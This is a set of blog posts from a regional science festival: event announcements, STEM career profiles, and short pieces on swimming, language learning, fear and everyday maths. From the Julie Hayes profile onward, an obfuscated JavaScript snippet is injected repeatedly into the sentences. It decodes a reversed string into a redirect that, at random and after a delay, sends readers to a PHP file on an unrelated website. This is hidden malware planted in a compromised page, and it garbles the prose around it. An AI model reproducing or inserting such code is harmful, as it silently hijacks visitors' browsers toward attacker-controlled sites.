The Science of Santa Claus – December 14th

We’re making a list, we’re checking it twice, we’re going to find out all about the science of Santa Claus! Join Midlands Science on Wednesday December 14th at 7pm for some special Christmas science with superhero scientist Dr Barry Fitzgerald – Book your place now!

We all know that on Christmas Eve, Santa Claus sets out to do a huge job, delivering presents to millions of children. It’s a monumental task and it wouldn’t be possible without Santa’s top secret advancements in science and engineering. In this unique event, you’ll learn all about the incredible science of Santa’s journey. We will also explore questions such as how does the sleigh fly sustainably? How does Santa avoid flying through bad weather? Where are Santa’s workshops in the Arctic Circle? Also, what food and drinks should you leave out for Santa on Christmas Eve?

There’s so much science to explore with Christmas. Santa Claus’s bright red coat and white fur trimmings may be in honour of the white-speckled, red-capped mushroom we know so well from fairy tales. Freshly picked fly agaric contains ibotenic acid, which converts to muscimol when the mushroom is dried. This is a powerful hallucinogen, which interacts with receptors in the brain resulting in hallucinations. In the past, Shamans of the tribes that herd reindeer in Siberia and Lapland would collect the mushrooms and carefully prepare them to optimise the mind-enhancing properties – and minimise the other dangerous toxins within the mushroom (of which there are several). At that time, the shamans believed they could use the mushrooms to travel to the spirit realm in search of answers to local problems, such as a sudden outbreak of illness. The effect of the muscimol gave the impression of flying out through the chimney of the shaman’s abode and travelling to the spirit world where they could seek advice. Muscimol passes through the body relatively unchanged which means that the shaman’s urine also had potent hallucinogenic properties. Reindeer happening upon these patches of yellow snow left by the shaman might well jump and skip around in the snow, off their antlers on mind-altering drugs. Perhaps, even, as they jumped up in the air, the sun in the northern regions would be low in the sky, silhouetting them in a characteristic flying pose .

Oh and don’t forget you can track Santa using the Santa Norad tracker !!

Science Week Science Profiles – Georgia Kearney, Medtronic

As part of Science Week 2022 we are profiling local STEM role models to showcase the different careers and job opportunities available to young people interested in science. Last, but by no means least, is Georgia Kearney, a student co-op from Medtronic. We caught up with Georgia and asked her some questions about her career in science:

Tell us a little about your earliest experiences of science. 

I was always quite curious about how things worked when I was younger, from what windmills where to how my mum was growing my baby brother in her stomach (still amazed by that).  

However, my earliest experience of science that I recall was when I was going on holidays with my family. We had a long drive to get to our destination, so I grabbed this big old book my aunt had gifted me called ‘Children’s Encyclopaedia of Science’. It wasn’t so much the facts within the book that piqued my interest but more so the pretty colours on the front.  

I remember choosing the ‘Space’ chapter and it had explained how powerful the sun was and that if you stared at it too long you could go blind – so of course I took it upon myself to shut my eyes tight every time the sun was shining in my eyes to keep them safe. Although I was cautious about looking at the sky, I began to wonder about space and how all these planets and stars were able to just exist up in the sky which led me to ask for a telescope that Christmas. I would spend hours trying to put this ‘kid friendly’ telescope together but was still unable to see the moon and stars (it took about a month before I realised I left the lens cover on the end of it). Once I reluctantly asked my parents for help on how to build it and use it I spent some nights just in awe at how there was so much up there and we just couldn’t reach it.  

What did you study at college and can you tell us a little about it? 

I am studying Biomedical Engineering at Ulster University and I’m currently on my placement year at Medtronic. Biomedical engineering takes the fundamentals of engineering and applies them to the body to mitigate pain and disease. It might sound a bit daunting but biomedical engineering is the development/creation of any device that is in contact with the human body, from tongue depressors to defibrillators.  

What is your current role and what do you enjoy most about it? 

Currently, I am a student co-op at Medtronic. I thoroughly enjoy the variety of projects going on and the constant opportunity to explore new technologies. Working with fully qualified and experienced people within industry gives a lot of opportunity for learning and growth which I feel is a very valuable aspect of beginning a career in science. Overall, the people and opportunities present really create an enjoyable work experience.  

What is your favourite science fact? 

My favourite science fact is probably a well known one at this stage – but we aren’t ever physically touching something, there are atoms in the very air we breathe so when you’re ‘touching’ something there are multiple atoms between your skin and the surface of the object you’re touching so when you feel that pressure of an object it’s the atoms repelling each other.   

What advice would you give to a young person considering a career in science? 

If you or someone you know is considering a career in science the main advice, I would give is to ask questions. It’s been heard from teachers constantly over the years ‘No question is a stupid question.’ Which is true! Reach out to different employers/college’s and ask about what they offer or what they do and see which one sparks your interest. If your school/college offers open days, I’d encourage you to attend and speak to actual people from different companies and get a personal view on what the companies work mainly consists of and get a broader view on the morals and goals and see if they align with your own.  

Science Week Science Profiles – Christina Ryan, Medtronic

As part of Science Week 2022 we are profiling local STEM role models to showcase the different careers and job opportunities currently available to young people interested in science. Next up is Christina Ryan from Medtronic. Christina is a Digital Technology Engineer, mainly in the area of augmented/virtual reality and 3D computer models. We caught up with Christina and asked her some questions about her career in science:

Tell us a little about your earliest experiences of science?

The earliest experience that I can remember was when I was about 12 years old, I was visiting an open day for secondary school and a science lab was set up with various displays/experiments on each of the different benches. On the first bench there was a rat that had been dissected with all of its anatomy labelled and I found it really fascinating to get to see how all of the different body parts worked together to create an animal that could eat, breathe, walk and think. It had a great impact on me and it was the first time I thought about science as a career option.

What did you study at college, and can you tell us a little about it?

I stayed in college for a long time 😊 I really enjoy learning new and different things. I started off by doing Biological and Chemical Sciences (4 years) in University College Cork (UCC), it was a general course where I could experience many different areas of science and help narrow down what I really enjoyed. The first year had four main subjects: Biology, Chemistry, Physics and Maths, I was never very interested in Physics and hadn’t done it as a leaving cert subject, in fact I failed my physics exam at the end of that year however my grades in the other 3 subjects allowed me to continue to second year where I got to choose the subjects I wanted to do. I did a number of different modules including anatomy, biochemistry, physiology, and zoology. In the end I chose to finish my degree in the area of Neuroscience as it was the most different to everything else I had learned and for the final two years I completed modules like anatomy, physiology and biochemistry that were focused specifically on the brain, also learning about conditions such as Parkinson’s and Alzheimer’s disease.

After finishing my Neuroscience degree I went on to do a taught Masters in Neuropharmacology (1 year) in Ollscoil na Gaillimhe (formerly NUI Galway). This built on the knowledge I had already learned but focused on the signalling chemicals (neurotransmitters) that make the brain work and how imbalances in these chemicals can cause various illnesses such as Parkinson’s or Alzheimer’s, as well as anxiety or depression. The course also went through how various drugs work to treat these illnesses. When I finished the masters I decided to stay in Galway to do a PhD, though in a very different area. I joined a medical device lab where I worked for 5 years on a project to evaluate different materials and chemicals to find out which ones that tendon cells like to grow on the most. Although this was very different to the specialised areas I had studied up to then, a lot of what I learned was transferrable and I knew I could learn the information I needed as I had been able to before!

What is your current role and what do you enjoy most about it?

I am now working as a Digital Technology Engineer, mainly in the area of augmented / virtual reality and 3D computer models. This is very different from what I did in college, however I have gotten to learn a lot of new things. Moreover, a lot of the skills that I learned from college I can use in my current job such as critical thinking, decision making, presenting information to different people and technical writing etc. I mainly work with different companies to evaluate new technology and if that technology is something that will help us to get work done with better quality and/or quicker. The thing I enjoy most about my role is that I get to investigate a lot of different types of cool technology such as AR/VR headsets or 3D scanners and I get to keep learning new things all the time.

What is your favourite science fact?

There are no pain receptors in the brain. Headaches are caused by pain receptors in other tissues surrounding the brain such as blood vessels or the membranes that protect the brain.

What advice would you give to a young person considering a career in science?

If you have an interest in science but are not sure what exactly you want to do, don’t worry too much about what area you go into at the beginning, any science course you do will be a gateway to multiple different career pathways and you’re never stuck, you can always change. Also don’t sweat it if you’re not a maths genius, I have a PhD in Biomedical Engineering and I failed physics in college.

Science Week Swimming!!

A huge crowd turned out at Coosan Point, Lough Ree, Athlone for our science week event in association with Swim Ireland. The event involved a supervised swim or a dip in Lough Ree followed by hot food and drinks in the Lough Ree Inn and a talk with Dr Catherine Kelly, author of the acclaimed book “Blue Spaces.” For many years, Dr Kelly has been researching and writing about the impact that water has on our mind and bodies and she is a particular fan of cold water and open water swimming. In a wide-ranging talk, and in the questions and answers that followed, she stressed her belief that everyone should have access to swimming and she is currently working on projects in the UK to bring swimming to communities who may not usually engage with swimming, such as people with disabilities or those from particular ethnic backgrounds.

She spoke about how she developed a new relationship with swimming and water following the death of her mother many years ago. Living in Mayo at the time near the sea, she began to think about the healing power of water. “It’s an ebb and flow that water gives us that allows us to connect with ourselves.” Her book “Blue Spaces” is packed full of great ideas of how to make the most of being in or near water, based on scientific research from around the world about the human relationship with water. She says “Being in the water brings you straight into your body. I think that’s the crux of the wellbeing benefit of water, it brings you out of your head. You cannot ignore your body when water is pounding on top of you.” She also encourages those who are interested in open water swimming to join a local community as the social benefits of swimming with other people are also demonstrated in scientific research that looks at the modern problems of loneliness and social isolation.

Questions on the day included everything from how to get started in cold water swimming to why it seems to be mostly women who are flocking to the lakes of Westmeath to swim. Attendees came from a number of open water swimming groups across the midlands to attend. The event was part of the Midlands Science Festival, a regional science festival as part of national Science Week, supported by Science Foundation Ireland. Midlands Science would like to thank Swim Ireland for their support for this event as part of the Midlands Science Festival.

Science Week Science Profiles – Julie Hayes, ARUP

As part of Science Week 2022 we are profiling local STEM role models to showcase the different careers and job opportunities currently available to young people interested in science. First up is Julie Hayes from Arup. Julie is a Graduate Environmental Consultant that works with Arup’s Environmental Team in Cork. Julie has a BSc in Environmental Science from UCC and also an MSc in Applied Environmental Geoscience, also from UCC. We caught up with Julie and asked her some questions about her career in science:


Tell us a little about your earliest experiences of science?

My earliest experience of science is a bit different. I think it would have to be sitting in front of the TV and watching Animal Planet with my Grandad growing up. Every week we’d watch David Attenborough or Steve Irwin galivanting across new exotic places, finding dangerous animals and highlighting issues (that I didn’t yet fully understand) such as climate change, habitat loss and endangered species. I remember thinking “that’s what I want to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do”. Now, while I might not be out in swamps tackling crocs (or “beauties”) or filming “extraordinary” landscapes, I $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do get to work towards tackling some of these same issues as part of my job, which is really cool!


What did you study at college, and can you tell us a little about it?

I studied BSc Environmental Science at University College Cork as my undergraduate degree. This is one of the disciplines you can chose after completing the first year of Biological, Earth and Environmental Sciences (BEES) at UCC. I absolutely loved my time studying Environmental science – so much so, I stayed for another year at UCC to pursue a masters in Applied Environmental Geoscience. What I loved the most is the diversity and variety in science. I have always been interested in many things and this course certainly covers a little bit of everything from air and water quality, chemistry and physics, to geography, GIS, geology, zoology and ecology. Experiencing work in the classroom, in the labs and even out in the field was the best part, which allowed us to learn how to physically take samples and log soil cores, before analysing them in the lab and writing up a report in the classroom. Never in a million years did I think my degree could take me to sampling water from a contaminated island in Helsinki, working in a bog for 6 months for my master’s thesis or even mapping sand dunes in the Hague with a drone while studying abroad! Although it wasn’t always easy and at times really tough, I would recommend this course to anyone who enjoys learning a little bit about everything from the desk, to the field, to the lab (and back again!).


What is your current role and what $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do you enjoy most about it?

Currently I’m working as a graduate environmental consultant with Arup’s environmental team in Cork. Some of the work we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do includes preparing environmental impact assessments for planning applications, environmental licencing for industrial emissions facilities, and carbon and sustainability assessments for our clients. My favourite thing about working in this area is that while the reports we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do might seem the same, the work is always changing and there’s always a challenge or two (or three!) to keep us interested along the way!

At Arup we have a strong emphasis on achieving sustainability in our work and in the projects that we take on. The best part for me is knowing you are working in an important area like environmental science and are able to contribute towards tackling things like climate, biodiversity and environmental impact in some small way as part of your job, whether it be providing advice to clients on ways to cut $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}down carbon emissions or identifying areas of potential environmental impact and reducing this risk. I just think that is really cool!


What is your favourite science fact?

The most common shape found in nature is a hexagon (think of honeycomb or the giant’s causeway). I $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don’t know why but I’ve always liked that one!


What advice would you give to a young person considering a career in science?

Science is always changing and there is always more to learn! It covers a range of topics from astrophysics to pharmaceuticals, and while some might think the only job of a scientist is working in a lab, there are also plenty of other opportunities out there when pursuing this career, be it in out in the field, in academics or as a consultant (like me). Studying science has opened up a world of opportunities to me and I have met some of the best people I know through my studies and my work. So, if you’re considering a career in science and enjoy learning something new every day, I would highly recommend a career in this area – you’ll never have a dull moment! P.S. You $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do not have to be brilliant at maths (but understanding the basics $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}does help!)



Unique Event in Mullinger – Beauty and the Chemistry Beasts

We are just days away from the start of the Midlands Science Festival 2022! Mullingar is the venue for a unique talk on where Dr Craig Slattery will be delving deep into the world of beauty and cosmetics, in an event separating the science and marketing that often collide in the world of beauty products.

We spend millions every year on everything from sunscreen to lipstick but what are we actually buying and what $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}does some of the labels mean? Dr Slattery will explore everything from the ingredients to the psychology of beauty. This event, supported by the Royal Society of Chemistry, will explore (and sometimes explode) the myths, marketing and reality of cosmetic products. Shopping for cosmetics will never be the same again!

‘Beauty and the chemistry beasts’ takes place on Thursday November 17th at 7.30pm, Annebrook House Hotel, Mullingar – Book your place now!

What happens in your brain when you learn a new language?

Sometimes, we try to learn a new language for work or personal reasons or for travel. There’s the joy in being able to make a joke or order off the menu in a different country. It also has huge benefits for your brain and there’s a huge amount going on in your brain when you $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do learn to speak another language.  Many areas in your brain including Broca’s area increase in size and function. This is the area of the brain involved in production of language. When children grow up with two languages or more, the languages are processed at the same time but as adults when we learn a second language, a separate area close to the first develops. Adults learn at different speeds when it comes to languages and studies have shown differences in changes of brain area in different learners. Broca’s areas and the hippocampus changed most in those who learnt languages quickly and the motor cortex changed most in those who learnt at a slower pace.

A Swedish MRI study showed learning languages has an effect on the brain. The study had young adults military recruits who liked learning languages learn Arabic, Russian or Dari. Meanwhile a control group of medical and science students also studied hard but not languages. MRI scans showed that parts of the brain of language students increased in size, whilst in the control group no change occurred.

No matter what pace you learn at, learning a new language has been shown to improve memory, mental flexibility, brain function and creativity. So, give it go today – it’s easier than ever with Duo Lingo, online conversation circles and classes.


Language Learning & STEM: Students taking a foreign language at Leaving Certificate level has slowed over the past five years, according to recent figures. The percentage of 6th years studying at least one foreign language has fallen for both boys and girls with 67% of boys and 84% of girls $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doing at least one foreign language. However, the percentage of students taking a foreign language other than French has grown. These languages include German, Spanish, Italian, Russian, Japanese and Arabic. 74% of schools at secondary level now offer two languages or more.

The higher uptake of languages by girls at Leaving Cert may be a super power that women and girls can use to carve out a space in the STEM workforce. 59.5% of the world is now connected through the internet and this makes the world increasingly interconnected. The ability to communicate in more than one language is increasingly important to employers and this is crucial in STEM as scientific research is often international. Collaboration and communication is a vital part of research. Also studies have shown those who speak other languages than their first language have better concentration and problem solving skills and are better at multi-tasking. These are vital qualities for scientists. Helping students to understand than speaking another language is really valuable in the global STEM workforce means that the language lab is as important as the science lab in developing the scientists of the future.


Language Learning & Age: A published study exploring affect and age in learning languages wanted to explore if early language learning was more beneficial than later in life. You’d think that early learn would lead to better language skills but the study showed that those who started later in life out-performed those who started earlier in a variety of skills. This was because individual motivation is the strongest influence on outcomes, best summed up in the saying, if you have a why, you’ll find a how ! Those who took up language learning later in life were more determined to succeed, so learning a language is not dependent on age or a younger brain.

This makes sense, there are lots of young people who spend years learning a language and never go beyond being able to say their name and where they are from. Another study found that age wasn’t a factor in learning a language but what made the different was high quality input, contact with native speakers, speaking the language on a regular basis and using materials in that language like reading a book or listening to a podcast. So it seems that the wis $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom that comes with age give an edge in language learning, a certain je ne sais quoi!





Halloween, Frights and Fear!

It’s the spooky time of year, Halloween and it’s a time for frights and fear. But what is the science of fear?

When you are afraid your brain enters into fight-or-flight mode, a survival mechanism which means your body undergoes a stress response to a perceived threat in your surrounding environment. This response came from our ancestors who had to deal with predators, and it is more common for us now to use this response to deal with mental threats.

This response is managed by our amygdala, the part of the brain that experiences emotion. The amygdala activates this fight-or-flight response without any initiative from you. When that part of your brain senses danger, it signals your brain to pump stress hormones, preparing your body to either fight for survival or to flee to safety.

So, when you are watching a horror movie and get a fright, this triggers your amygdala, and your brain releases a chemical called glutamate. This chemical makes us freeze or jump and it also sends a signal to the hypothalamus, a part of our brain that produces hormones. The hypothalamus triggers our autonomic nervous system. Our blood pressure and heart rate go up and adrenaline and $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopamine are released into the body. Some people enjoy this feeling and research from Vanderbilt University shows our brain chemistry determines if we enjoy these experiences or not. Some people experience pleasure in these situations from the $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopamine, so if you’re one of those people, Halloween is your time!!


Swimming…Here’s the Science

We’ve all grown to love swimming over the last few years, with a huge growth in those swimming all year-round out $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doors. But have you ever considered how much science there is in swimming? This year’s Midlands Science Festival includes an event exploring the science of swimming and a cold-water swim in Lough Ree, full event details and booking link here.

So…let’s dive into some swimming science!

Humans evolved from sea creatures and yet we couldn’t be less suited to moving in water if we tried. We can’t breathe long under water, we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don’t float very well and we get tired as we swim. One main thing to understand for the science of swimming is that air and water are different – a gas and a liquid. Water is denser and more viscous. This makes a difference to how we move as the main thing we have to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do on land is work against gravity but in water, buoyancy cancels this out. So the main issue is drag – water resistance.

Newton’s Third Law is also vital to swimming. It says if you apply force to an object, the object applies an equal force to you in the opposite direction – this is action and reaction. It helps us make sense of the water. If you kick backwards against the wall of the pool, you will go forward in the water. If you want to swim forward through water, you have to pull the water back with your hands. If you want to make your body stay up, you need to kick $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}down with your legs. It’s all science!

Whether you are a dedicated dipper or a super-enthusiastic open water swimmer, you are welcome to join Midlands Science for a Swim Ireland supervised dip/swim at Lough Ree, Coosan Point, Athlone. Following your dip or swim [no pressure, it’s up to you how far you want to go], hot food and refreshments will be served in the Lough Ree Inn and an interview will take place with Catherine Kelly, author of “Blue Spaces”, the best selling book which explores why we love swimming and water so much. So come along to Coosan Point on Sunday November 13th and dive into the Science of Swimming!

Maths in Everyday Life!

We can often think maths is something that is just for school or work, but have you ever considered how often you use maths every day and how useful it actually is?

We use maths regularly to figure out how much we will spend this week, what we can afford to save and if we can afford a new car. We prepare budgets based on simple calculations that include adding, subtracting, multiplying and dividing.

If we are exercising and we want to gain muscle or reduce body fat, maths can also help. We set our routines according to our schedule and count the number of repetitions we need to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do while exercising. As well as adding and subtracting as above, maths used for exercising also involves logical and analogical reasoning.

Release your inner Marie Kon $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do with maths and interior design! A lot of interior design involves maths – calculating area, measuring furniture and of course the all-important budget. Doing a little interior design work at home means you are using geometry, ratios and percentages, mathematical operations and calculus and statistics.

The weekly shop involves a lot of maths – trying to figure out if the deals and percentages off are actually good value. To see if you are getting good value, you need to estimate the quantity you are buying, the weight, the price per unit and the discount. All of this involves mathematical operations, ratio and percentage and algebra.

Maths can also be pretty tasty as you use it all the time in the kitchen. If you are cooking or baking, you need to follow the steps and use the quantities advised and proportions of different ingredients and use the temperature advised. This is all maths and it’s a great way to introduce children to the practical application of maths. Cooking and baking involves algorithms, operations, ratios and proportions.

Managing time is something we all have to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do and it can be a hard job. We sometimes have several things we need to get $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}done in a limited time and we are racing against the clock. Maths helps us to understand the management of time and also to value it. It involves logical reasoning, operations and reasoning.

Driving also involves maths as you need to think about speed, time and distance. We can think about what the speed should be to travel a certain distance and how long it will take. We also think about increasing or decreasing speed, turning left or right and many other things. This involves logical reasoning, numerical reasoning and operations.

We all use computers fairly regularly now and it’s interesting to think about how they work. There’s a lot of maths involved. Different computer applications like powerpoint, word and excel, are impossible to run without maths and involve computation, algorithms, coding and cryptography.

Going on holidays, you also need to think about maths! It involves budgeting, the number of days and the destinations and travel times. This means our holiday involve budgeting, algebra, calculus and operations.

Spending some time on the Play Station or X Box, there’s lots of maths involve as players learn how to follow steps and techniques and the engineering of games involves game theory, probability, computation, logical reasoning, geometry, algebra, calculus and statistics. Also, one of gaming’s favourite heroine’s Lara Croft wouldn’t exist with maths, as the quarternions discovered by William Rowan Hamilton in the 1800’s are the basis of her design and many special effects in games and movies.

Wondering about the weather and whether to pack up your umbrella or sunglasses, think about how maths helps with weather forecasts. All forecasts are based on a concept in maths called probability and also the use of statistics.

Thinking about music and dancing and how much children enjoy both these activities, there’s also a chance to think about maths. As children sing and learn dance steps, they are learning co-ordination, which is a series of mathematical steps, which we call operations.

Problem-solving skills is one of the most important skills which we can have in life. Such skills help us in taking correct decisions in life, let it be professional or personal. This is all $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}done when the person has the correct knowledge of basic mathematical concepts such as logical reasoning, mathematical reasoning and operations.